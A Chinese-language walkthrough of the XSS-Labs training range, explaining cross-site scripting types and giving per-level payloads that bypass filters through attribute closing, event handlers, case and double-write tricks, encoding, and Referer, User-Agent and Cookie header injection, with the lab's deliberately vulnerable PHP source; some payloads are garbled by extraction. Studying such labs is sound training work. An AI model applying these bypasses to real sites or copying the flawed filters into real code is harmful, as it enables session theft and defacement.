XSS-Labs靶场通关笔记

笔记目录

  • XSS漏洞介绍
      • 危害
      • 分类
        • 1.反射型XSS(非持久性XSS)
        • 2.存储型XSS(持久性XSS)
        • 3.DOM型XSS
  • 靶场介绍
  • 正文
      • Level 1
      • Level 2
      • Level 3
      • Level 4
      • Level 5
      • Level 6
      • Level 7
      • Level 8
      • Level 9
      • Level 10
      • Level 11
      • Level 12
      • Level 13
      • Level 14(题目损坏)
      • Level 15
      • Level16
      • Level 17
      • Level 18
      • Level 19和Level 20
  • 文章已完结

XSS漏洞介绍

XSS(Cross-site Scripting),中文名跨站脚本攻击。其原理是攻击者利用浏览器执行前端代码(HTML、CSS、JavaScript)的特性,将恶意的JavaScript代码插入到页面中,当用户浏览页面时,导致恶意代码被执行。

危害

  1. 窃取用户的Cookie并冒用身份登录。(使用document.cookie,如果是管理员更加要命)
  2. 可以操作后端,会导致XSS GetShell,虽然很难
  3. 植入网页垃圾广告。(比如一刀9999级,今晚八点某城等你
  4. 网站重定向。(例如打开后突然跳转至某奇霸业网站)

例如:
XSS-Labs靶场通关笔记_第1张图片

分类

1.反射型XSS(非持久性XSS)

当用户访问了带有恶意JavaScript代码的链接时,后端接收并处理了数据,随后将其发送至前端。浏览器解析了JavaScript代码后造成XSS漏洞。
举例:

<body>
	<form action="" method="get">
    	Enter your advise to us:<br>
    	<textarea name="mess" rols="80" cows="100"></textarea>
    	<br><input type="submit" name="submit" value="Send">
    </form>
</body>
<?php
	$message=$_GET['mess'];
	echo($message);
?>

构造恶意链接如下:
http://127.0.0.1/xss.php?mess=&submit=Send
XSS-Labs靶场通关笔记_第2张图片

2.存储型XSS(持久性XSS)

当攻击者提交了一段恶意代码,这段代码被存储进了数据库。当用户访问某一含有恶意代码输出点的页面时,浏览器就会解析恶意代码,造成存储型XSS。

例如:网站的评论、弹幕、建议栏、博客发布界面等会和数据库交互的功能是重灾区。

3.DOM型XSS

DOM(Document Object Model),中文名文档对象模型,可以用于代表整个HTML文档中的元素。使用DOM可以轻松地重构整个HTML文档的内容。
XSS-Labs靶场通关笔记_第3张图片

在网页中构造JavaScript DOM代码可以改写前端页面导致XSS攻击。
例如:

<head>
    <script>
        function join() {
            var text1=document.getElementById("text").value;
            document.getElementById("res").innerHTML="Show result";
        }
    script>
head>
<body>
    Enter a word: <input id="text" type="text" name="text" value><br>
    <input type="button" value="Click" onclick="join();">
    <div id="res">div>
body>
html>

该网页的作用为输入一个URL,并通过document.getElementById(“res”).innerHTML方法拼接一个a标签显示在网页中。这时我们可以构造属性闭合,添加onclick属性成为一个新标签完成攻击。

EXP:’ onclick=“alert(/xss/);”>
XSS-Labs靶场通关笔记_第4张图片

靶场介绍

XSS-Labs是一个使用PHP、JavaScript和HTML编写的闯关式靶场,利用该靶场可以练习并掌握XSS漏洞的原理和绕过方法。

点击此处下载靶场

安装环境:PHPStudy,PHP版本推荐5.2.17。将压缩包解压至WWW目录下即可。

XSS-Labs靶场通关笔记_第5张图片

正文

Level 1

XSS-Labs靶场通关笔记_第6张图片解析:第一关URL中接受一个参数name,然后原封不动的将该参数回显至页面上。直接将name参数值改为弹框代码即可。

EXP:http://127.0.0.1/xss-labs/level1.php?name=

成功。

Level 2

XSS-Labs靶场通关笔记_第7张图片解析:首先输入EXP进行探测,发现内容被原封不动地显示了出来而没有弹框。查看页面源代码,发现标题中的恶意代码大小于号被转义,但显示在输入框的恶意代码完好。对input标签进行闭合,随后重写script标签。

......
<h1 align=center>欢迎来到level2h1>
<h2 align=center>没有找到和<script>alert(/xss/);</script>相关的结果.h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="">
<input type=submit name=submit value="搜索"/>
form>
center><center><img src=level2.png>center>
<h3 align=center>payload的长度:30h3>body>
html>

EXP:http://127.0.0.1/xss-labs/level2.php?keyword=">

查看后端代码,发现使用htmlspecialchars()方法对标题中的HTML字符进行转义。

 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str.'">
'
; ?>

完成。

Level 3

XSS-Labs靶场通关笔记_第8张图片解析:首先使用EXP进行探测,发现无效。查看页面源代码,发现标题和输入框中的恶意代码大小于号均被转义,猜测标题和输入框都使用了htmlspecialchars()进行转义。此时标签无法使用,但我们可以使用HTML事件进行弹框。

<body>
<h1 align=center>欢迎来到level3h1>
<h2 align=center>没有找到和<script>alert(1);</script>相关的结果.h2><center>
<form action=level3.php method=GET>
<input name=keyword  value='<script>alert(1);</script>'>	
<input type=submit name=submit value=搜索 />
form>
center><center><img src=level3.png>center>
<h3 align=center>payload的长度:26h3>body>

HTML 事件可以是浏览器或用户做的某些事情。
下面是 HTML 事件的一些例子:
    HTML 网页完成加载
    HTML 输入字段被修改
    HTML 按钮被点击
通常,当事件发生时,用户会希望做某件事。JavaScript 允许您在事件被侦测到时执行代码。通过 JavaScript 代码,HTML 允许您向 HTML 元素添加事件处理程序。
---- 引自W3School

常见的HTML事件:

事件名称 说明
onclick 当HTML元素被点击
onmouseover 当鼠标移动到HTML元素上
onmouseout 当鼠标从HTML元素上移开
onkeydown 当键盘按键被按下
onkeyup 当键盘按键被松开
onload 当浏览器完成页面加载

本关使用onmouseover事件,当鼠标移到输入框上时进行弹框。对value属性进行闭合。

EXP:http://127.0.0.1/xss-labs/level3.php?keyword=’ onmouseover=javascript:alert(1);//

注:’ 闭合value标签,onmouseover事件触发弹窗,//注释最后一个单引号。

查看后端代码,使用htmlspecialchars()对标题和输入框中的HTML字符进行转义。

 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
."
"
; ?>

完成。

Level 4

XSS-Labs靶场通关笔记_第9张图片解析:使用EXP进行探测,发现删除了大小引号,无法使用标签。同理,使用HTML事件绕过。

<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.h2><center>
<form action=level4.php method=GET>
<input name=keyword  value="scriptalert(1)/script">
<input type=submit name=submit value=搜索 />
form>

EXP:http://127.0.0.1/xss-labs/level4.php?keyword=" onmouseover=javascript:alert(1);//

查看后端代码,使用str_replace()将大小于号替换为空字符串。

 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str3.'">
'
; ?>

完成。

Level 5

XSS-Labs靶场通关笔记_第10张图片解析:使用EXP进行探测,发现搜索框中的script标签被插入了一条下划线破坏。盲猜后端检测并破坏了script标签,闭合input标签并新建a标签试试。

EXP:http://127.0.0.1/xss-labs/level5.php?keyword=">xss

查看后端代码,可以发现它同时破坏了script标签和HTML事件。。。。。。

 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace(",",$str);
$str3=str_replace("on","o_n",$str2);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str3.'">
'
; ?>

完成。

Level 6

XSS-Labs靶场通关笔记_第11张图片解析:使用上一关的EXP进行探测,发现不行了,href属性被破坏。由于HTML不区分大小写,尝试使用大小写绕过。

<h2 align=center>没有找到和\"><a href=javascript:alert(1);>xss</a>相关的结果.h2><center>
<form action=level6.php method=GET>
<input name=keyword  value="\"><a hr_ef=javascript:alert(1);>xssa>">
<input type=submit name=submit value=搜索 />
form>

EXP:http://127.0.0.1/xss-labs/level6.php?keyword=">xss

查看后端代码,发现没有将字符串转为小写:

 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(",",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str6.'">
'
; ?>

完成。

Level 7

XSS-Labs靶场通关笔记_第12张图片解析:使用EXP进行探测,发现script字段被删除,推测后端检测并将script字符串替换成了空串。尝试闭合input标签并使用双写绕过,这样当替换了一次空串后,剩下的是完整的script标签。

EXP:http://127.0.0.1/xss-labs/level7.php?keyword=">alert(1);

查看后端代码,没有将字符串转为小写:

 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str6.'">
'
; ?>

完成。

Level 8

XSS-Labs靶场通关笔记_第13张图片解析:使用EXP进行探测,发现script标签被破坏。后端将输入内容加到了a标签href属性中,并将大写转为小写。使用事件触发语句,均失败。尝试使用Unicode字符编码,将恶意语句添加到href属性中。

<body>
<h1 align=center>欢迎来到level8h1>
<center>
<form action=level8.php method=GET>
<input name=keyword  value="\" οnmοuseοver=javascript:alert(1)">
<input type=submit name=submit value=添加友情链接 />
form>
center><center><BR><a href="\" o_nmouseover=javascr_ipt:alert(1)">友情链接a>center><center><img src=level8.jpg>center>
<h3 align=center>payload的长度:40h3>body>

XSS-Labs靶场通关笔记_第14张图片EXP:javascript:alert(1)(在输入框中输入)

查看后端代码,将文本转为小写并过滤了大部分危险字符:

 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '
.htmlspecialchars($str).'">
'
; ?>

完成。

Level 9

XSS-Labs靶场通关笔记_第15张图片
解析:使用EXP进行探测,发现友情链接被换成了您的链接不合法?有没有!,推测后端判断了链接是否为合法URL。使用javascript:alert(1)测试,发现被破坏。决定使用Unicode绕过。

<body>
<h1 align=center>欢迎来到level9h1>
<center>
<form action=level9.php method=GET>
<input name=keyword  value="javascript:alert(1);http://">
<input type=submit name=submit value=添加友情链接 />
form>
center><center><BR><a href="javascr_ipt:alert(1);http://">友情链接a>center><center><img src=level9.png>center>
<h3 align=center>payload的长度:28h3>body>

EXP:javascript:alert(1)//http://(输入框中输入)

查看后端代码,发现本关在上一关的基础上增加了非法URL检测操作:

 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '
.htmlspecialchars($str).'">
'
; ?> <?php if(false===strpos($str7,'http://')) { echo '

友情链接
'
; } else { echo '

.$str7.'">友情链接
'
; } ?>

完成。

Level 10

XSS-Labs靶场通关笔记_第16张图片解析:本关中未看到输入框,查看源代码发现有三个隐藏的输入框。尝试闭合属性判断到底哪个输入框可以注入。
http://127.0.0.1/xss-labs/level10.php?t_link=" type=“text&t_history=” type=“text&t_sort=” type="text
发现只有t_sort可以注入。

<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">

form>

尝试构造EXP,优先考虑HTML事件。
http://127.0.0.1/xss-labs/level10.php?t_sort=" type=text onmouseover=alert(/xss/)//

查看后端代码,发现只处理了t_sort参数,并对尖括号进行了过滤。

 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
; ?>

完成。

Level 11

XSS-Labs靶场通关笔记_第17张图片解析:虽然和上一关一样没有输入框,但是查看源代码可以发现隐藏输入框t_ref的默认值中有一些好东西。

<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ref"  value="http://127.0.0.1/xss-labs/level10.php?t_sort=%22%20type=text%20οnmοuseοver=alert(/xss/)//" type="hidden">
form>

好东西是前一关的EXP,再结合t_ref这个名字,可以肯定这是HTTP Referer信息,尝试在Referer头上面动手脚。(优先考虑HTML事件)

注:我们可以使用HackBar浏览器插件更改Referer信息,而不是通过BurpSuite。这非常节省时间。
科普:HTTP包头中的Referer信息记录着你是从哪个URL跳转到此页面上的。

EXP:

{
	"请求头 (575 字节)": {
		"headers": [
			......
			{
				"name": "Referer",
				"value": "\" type=text οnmοuseοver=alert(/xss/)//"
			},
			......
		]
	}
}

查看后端代码,发现后端接受了Referer信息,并过滤了尖括号,随后输出在页面上:

 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
; ?>

完成。

Level 12

XSS-Labs靶场通关笔记_第18张图片解析:查看源代码,发现又是经典的隐藏输入框和好东西——浏览器UA标识

科普:HTTP包头中的UA(User-Agent)信息记录着你的浏览器内核版本、操作系统版本等基本信息。

<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ua"  value="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0" type="hidden">
form>

尝试在包头中的User-Agent字段做手脚。

EXP:

{
	"请求头 (552 字节)": {
		"headers": [
			......
			{
				"name": "User-Agent",
				"value": "\" type=text οnmοuseοver=alert(/xss/)//"
			}
		]
	}
}

查看后端代码,发现后端接收了User-Agent信息,过滤了尖括号后将其输出在页面上:

 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
; ?>

完成。

Level 13

XSS-Labs靶场通关笔记_第19张图片查看源代码:

DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level14.php"; 
}
script>
<title>欢迎来到level13title>
head>
<body>
<h1 align=center>欢迎来到level13h1>
<h2 align=center>没有找到和good job!相关的结果.h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_cook"  value="call me maybe?" type="hidden">
form>
center><center><img src=level13.png>center>
<h3 align=center>payload的长度:9h3>body>
html>

一时间没有头绪,于是开始乱点,直到我乱点时又发现了了不得的东西:
XSS-Labs靶场通关笔记_第20张图片废话不多说,开整。

EXP:

{
	"请求 Cookie": {
		"user": "\" type=text οnmοuseοver=alert(/xss/)//"
	}
}

查看后端代码,发现后端接收Cookie信息后只是简单地过滤了一下尖括号就将其输出在了页面上:

 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
; ?>

完成。

Level 14(题目损坏)

第十四关由于题目损坏,不予介绍。

Level 15

XSS-Labs靶场通关笔记_第21张图片解析:查看源代码,发现本关没有输入框,但是使用了Angular.js框架进行开发,而且使用了ng-include接收并包含一个URL。

Angular.js:一个由谷歌开发的知名JavaScript框架,其特征为:MVC模式、双向绑定(数据与视图自动同步)、依赖注入、模块化设计

ng-include:Angular.js指令,用于包含外部HTML文档默认情况下需在同一域名。(类似于PHP的include函数)

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js">script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
script>
<title>欢迎来到level15title>
head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!h1>
<p align=center><img src=level15.png>p>
<body><span class="ng-include:1.gif">span>body>

此处按照网上大部分答案所述,应该包含有漏洞的网页文件level1.php并添加img标签,使用onerror属性绕过。但从实验结果来看(PHP版本5.2.17),四个关键符号"&<>均被转义,使用单引号会在前面加上反斜杠,破坏了ng-include的语法。经控制台编写代码检测,无法使用src参数包含任何HTML文档。(未发现被使用id属性标记的DOM对象)目前暂无有效方法绕过。

Level16

XSS-Labs靶场通关笔记_第22张图片解析:对本关使用传统EXP进行测试,发现script/被替换为 

<center>< >alert(1)<  >center>

既然不行,那就换一个。使用img标签配合onerror事件进行测试。

发现连空格也被替换。

<center> src=x οnerrοr=alert(1)>center>

但是尖括号没有被转义,说明本关没有使用htmlspecialchars()对输出进行转义处理。
在HTML中,可以用%0A%0D表示空格。我们把img标签中的空格替换为%0A即可

EXP:http://127.0.0.1/xss-labs/level16.php?keyword=

查看后端代码,发现script空格/被替换为 

 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace("	"," ",$str4);
echo "
".$str5."
"
; ?>

完成。

Level 17

由于Firefox无法显示Flash播放框,需要将浏览器换成Chrome。

XSS-Labs靶场通关笔记_第23张图片
解析:本关使用了embed标签

注:embed标签用于在网页中播放Flash视频。现在Firefox、Chrome等主流浏览器均取消了对Flash的支持。

查看网页源代码,发现arg01的参数值、等于号和arg02的参数值被拼接到了一起。

<body>
<h1 align=center>欢迎来到level17h1>
<h2 align=center>成功后,点我进入下一关a>h2>
body>

现在只需要在arg02原参数值的基础上加空格追加一个属性即可。

EXP:http://127.0.0.1/xss-labs/level17.php?arg01=a&arg02=b onmouseover=alert(1)

Level 17 Code
查看后端代码,发现只对两个参数进行了转义,没有考虑防范HTML事件:


ini_set("display_errors", 0);
echo ".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

完成。

Level 18

XSS-Labs靶场通关笔记_第24张图片

<body>
<h1 align=center>欢迎来到level18h1>
body>

解析:使用上一关的EXP进行测试,发现居然成功了?!!XSS-Labs靶场通关笔记_第25张图片

EXP:http://127.0.0.1/xss-labs/level18.php?arg01=a&arg02=b onmouseover=alert(1)

查看后端代码,发现依旧只对两个参数做了转义:


ini_set("display_errors", 0);
echo ".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

完成。

Level 19和Level 20

最后两关考察Flash XSS。由于2020年微软清除了Windows中的Flash、主流浏览器停止了对Flash的支持,笔者的浏览器无法运行任何Flash插件。这里推荐一些大佬的文章:

Flash XSS漏洞快速上手
XSS-labs Level 19 Flash XSS
XSS-labs Level 20 Flash XSS

文章已完结

你可能感兴趣的:(漏洞讲解,xss,web安全,php)